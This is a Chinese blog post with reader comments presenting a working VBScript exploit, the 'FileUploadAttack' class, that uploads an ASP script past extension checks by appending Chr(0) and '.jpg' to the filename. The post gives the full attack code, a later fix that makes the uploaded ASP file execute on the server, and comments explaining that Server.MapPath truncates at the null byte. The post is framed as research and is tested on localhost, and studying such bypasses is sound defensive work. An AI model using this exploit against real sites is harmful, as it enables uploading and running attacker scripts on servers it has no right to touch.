ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

!本文可能 超过1年没有更新,今后内容也许不会被维护或者支持,部分内容可能具有时效性,涉及技术细节或者软件使用方面,本人不保证相应的兼容和可操作性。

本文部分脚本具有攻击性,仅供学习研究用,请用在合法合理范围内,对造成的损失本人不承担责任,本人也不提供黑客攻击技术指导。

今天Demon提到了这个问题,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction – VBSscript》。这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了InternetExplorer.Application组件,我改写了一下,用WinHttp.WinHttpRequest.5.1实现了类似的功能,关于这个组件更多的用法请参考《WinHttpRequest Object Reference》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
Option Explicit
 
Function file_get_contents(filename)
 Dim fso, f
 Set fso = WSH.CreateObject("Scripting.FilesystemObject")
 Set f = fso.OpenTextFile(filename, 1)
 file_get_contents = f.ReadAll
 f.Close
 Set f = Nothing
 Set fso = Nothing
End Function
 
' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
 Private m_objWinHttp
 Private m_strUrl
 Private m_strFieldName
 
 Private Sub Class_Initialize()
  Set m_objWinHttp = WSH.CreateObject( _
                    "WinHttp.WinHttpRequest.5.1")
 End Sub
 
 Private Sub Class_Terminate()
  Set m_objWinHttp = Nothing
 End Sub
 
 Public Sub setUrl(url)
  m_strUrl = url
 End Sub
 
 Public Sub setFieldName(name)
  m_strFieldName = name
 End Sub
 
 'Infrormations In form field header.
 Function mpFields(FieldName, FileName, ContentType)
  Dim MPTemplate 'template For multipart header
  MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
  " filename=""{file}""" + vbCrLf + _
  "Content-Type: {ct}" + vbCrLf + vbCrLf
  Dim Out
  Out = Replace(MPTemplate, "{field}", FieldName)
  Out = Replace(Out, "{file}", FileName)
  mpFields = Replace(Out, "{ct}", ContentType)
 End Function
 'Converts OLE string To multibyte string
 Function StringToMB(S)
  Dim I, B
  For I = 1 To Len(S)
   B = B & ChrB(Asc(Mid(S, I, 1)))
  Next
  StringToMB = B
 End Function
 
 'Build multipart/form-data document with file contents And header info
 Function BuildFormData(FileContents, Boundary, _
                       FileName, FieldName)
  Dim FormData, Pre, Po
  Const ContentType = "application/upload"
 
  'The two parts around file contents In the multipart-form data.
  Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
                                    FileName, ContentType)
  Po = vbCrLf + "--" + Boundary + "--" + vbCrLf
 
  'Build form data using recordset binary field
  Const adLongVarBinary = 205
  Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
  RS.Fields.Append "b", adLongVarBinary, _
                     Len(Pre) + LenB(FileContents) + Len(Po)
  RS.Open
  RS.AddNew
  Dim LenData
  'Convert Pre string value To a binary data
  LenData = Len(Pre)
  RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
  Pre = RS("b").GetChunk(LenData)
  RS("b") = ""
 
  'Convert Po string value To a binary data
  LenData = Len(Po)
  RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
  Po = RS("b").GetChunk(LenData)
  RS("b") = ""
 
  'Join Pre + FileContents + Po binary data
  RS("b").AppendChunk (Pre)
  RS("b").AppendChunk (FileContents)
  RS("b").AppendChunk (Po)
  RS.Update
  FormData = RS("b")
  RS.Close
  BuildFormData = FormData
 End Function
 
 
 Public Function sendFile(fileName)
  Const Boundary = "---------------------------0123456789012"
  m_objWinHttp.Open "POST", m_strUrl, False
  m_objWinHttp.setRequestHeader "Content-Type", _
               "multipart/form-data; boundary=" + Boundary
 
  Dim FileContents, FormData
  'Get source file As a binary data.
  FileContents = file_get_contents(FileName)
 
  ' 下面构造了恶意文件扩展名Chr(0) & .jpg
  'Build multipart/form-data document
  FormData = BuildFormData(FileContents, Boundary, _
          FileName & Chr(0) & ".jpg", m_strFieldName)
 
  m_objWinHttp.send FormData
  sendFile = m_objWinHttp.Status
 End Function
 
 Public Function getText()
   getText = m_objWinHttp.ResponseText
 End Function
End Class
 
Function VBMain()
 VBMain = 0
 
 Dim fileUpload
 Set fileUpload = New FileUploadAttack
  ' 需要修改下面内容为合适内容
  ' 上传url
  fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
  fileUpload.setFieldName "filepath" ' 上传表单框的name
  ' 需上传文件路径
  If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
   MsgBox "上传成功" & fileUpload.getText()
  Else
   MsgBox "失败"
  End If
 Set fileUpload = Nothing
End Function
 
Call WScript.Quit(VBMain())

上传功能是随便在网上找的一个简单上传ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。

测试结果是:手动上传asp,失败;利用上述攻击脚本上传asp文件,成功!在上传目录中确实是asp文件,通过浏览器URL也能访问这个asp文件,只是奇怪的是显示一片空白,我这里是IIS 7,难道是IIS版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。

所有实验代码包,在这里upload.zip(代码BUG参考下面更新说明)下载。

2011年12月25日更新

根据大家反馈的上传文件变成Unicode Little Endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下GetFile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
' 将指定charset的字符串str转换为二进制
Function strtobin(str, charset)
  With WSH.CreateObject("ADODB.Stream")
      .Type = 2
      .Mode = 3
      .Open
      .Charset = charset
      .WriteText str
      .Flush
      .Position = 0
      .Type = 1
 
      strtobin = .Read()
      .Close
  End With
End Function

然后将上述代码的第106行改成下面这样(以ASCII读取文本):

1
FileContents = strtobin(file_get_contents(FileName), "ASCII")

这样改过后上传的ASP文件就是普通编码的文件了,然后浏览器访问这个文件,可以看到该ASP被成功解析。

不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数:

1
2
3
4
5
6
7
8
9
10
'Returns file contents As a binary data
Function GetFile(FileName)
  Dim Stream: Set Stream = CreateObject("ADODB.Stream")
  Stream.Type = 1 'Binary
  Stream.Open
  Stream.LoadFromFile FileName
  GetFile = Stream.Read
  Stream.Close
 Set Stream = Nothing
End Function

更优化的代码我就不写了,主要说明的是一个上传思路,如果大家希望得到完善的上传实现,可以参考Demon的《VBS模拟POST上传文件》

若无特别说明,本网站文章均为原创,原则上这些文章不允许转载,但是如果阁下是出于研究学习目的可以转载到阁下的个人博客或者主页,转载遵循创作共同性“署名-非商业性使用-相同方式共享”原则,请转载时注明作者出处谢绝商业性、非署名、采集站、垃圾站或者纯粹为了流量的转载。谢谢合作!

  1. 你的文件上传类写错了,ASP上传以后变成了没有BOM的Unicode Little Endian编码,所以IIS无法解析。不嫌弃的话可以参考一下我写的VBS文件上传类。
    文件上传的时候ASP并没有截断filename中的Chr(0)字符,而VBS字符串又是兼容Chr(0)字符的,所以解析出来的filename也带有Chr(0),即filename=”index.asp” & Chr(0) & “.jpg”,所以用GetFileExtensionName得到的文件拓展依然是jpg。但是在Server.MapPath中会被Chr(0)截断,估计是内部调用了PathAppend Windows API函数,导致最后保存到系统中的文件名是index.asp。
    这与其说是ASP上传漏洞,倒不如说是代码写得太烂。不过天下代码一大抄,一个人写了一段有漏洞的代码发到网上,然后一堆人复制粘贴,于是就出现一堆有漏洞的网站。国内一些砖家叫兽写的计算机书籍上面的代码就很不安全,跟着书学的人依样画葫芦,哪里能写得出安全的代码?

    • @Demon
      谢谢提示,原来是文件读取方式问题,还是你问题研究得比较细,截断的最终还是落在了Server.MapPath上,看来调用了Win32都会出现这种情况,现在的漏洞基本上都是一些不严谨的代码造成的,追求实现即可和能用就行的现实浮躁心态在开发程序,写的程序当然漏洞百出。任何程序语言进行WEB开发,不考虑全面都是可能留下漏洞的,而且有些所谓的专业人士依旧在误导大众,当然现在还是追求那种技术最快速度上手、产品最快速度开发、能最快产生经济效益以及实现即可和能用就行的心态,很少能静下心来认认真真的去构造程序了。我所在单位定制的一套ASP.NET的程序,各种BUG,甚至一段时间后直接报错不能用了,估计那套程序连基本的测试都没做,纯粹搭积木的赶工产品。

    • @Demon
      这个博客系统有些BUG,而且貌似官方很久没有稳定修复的版本出了,想换WP了。你的那段VBS非常不错,功能好多了,而且容易理解,谢谢提供:-)

      • 呵呵,站在别人的肩膀上,稍微改了一些错误而已。
        在WP的阴影下其他博客系统很难生存,不过我倒是萌生过用ASP + Jscript写一套WP的想法。

        • @Demon
          WP的易用性、可扩展和支持度都比较高,所以抢占了很多之前很流行的博客系统份额,特别是之前的一些ASP的博客,随着ASP技术的衰落以及PHP大量便宜的空间,加上国内环境,国外多PHP主机,所以很多ASP的博客已经转WP了。JScript作为ASP引擎语言让我想起了LBS^2这个以前貌似比较火的博客程序,不晓得现在还维护不维护,刚才看了一下,貌似官网已经无法访问了,不过其设计思想还是可以借鉴的。目前我也只找到这么款JScript的ASP应用,一般国内教授的都是VBScript开发ASP,JScript的还真不常见,VBScript转JScript估计组件函数方法的大小写敏感也是个麻烦事。

          • @Demon
            ASP用JScript编写脚本时可以模拟Node.JS的方法函数库实现相关功能,做到语言层面兼容,这样从ASP平台到Node.JS平台可以做较少改动就能成功迁移。就像C语言一样,内部代码都是用的标准函数库,可以不同系统编译。不过没研究过Node.JS,想法能否可行就不清楚了。

          • 只用C语言标准库函数几乎写不出有用的代码,然而一旦调用了系统API,就不具有可移植性了,Linux的归Linux,Windows的归Windows。
            ASP和Node.JS也是一个道理,语言层面上虽然都是javascript,但是平台提供的API不一样,不具有可移植性。

        • 我觉得可以考虑,
          可以把一些核心的东西封装一下,然后把asp相关的方法也封装一下,换node.js时只需要改动asp相关的方法。
          直接切换肯定不行

          • @shirne
            是的,我的意思就是封装一下,虽然ASP和Node.JS不是一个技术,但是二者都可以有共同的语言JScript/JavaScript,做好语言层面兼容,然后平台迁移就容易了,至于Node.JS和ASP/JScript能不能做到语言层面兼容我觉得理论上应该是可以的,实际就不清楚了。

  2. 你的文件上传类写错了,ASP上传以后变成了没有BOM的Unicode Little Endian编码,所以IIS无法解析。

    出错的代码是什么呢?文章看的晚了,错误已经改过来了。

请稍后...

发表评论

电子邮件地址不会被公开。 必填项已用*标注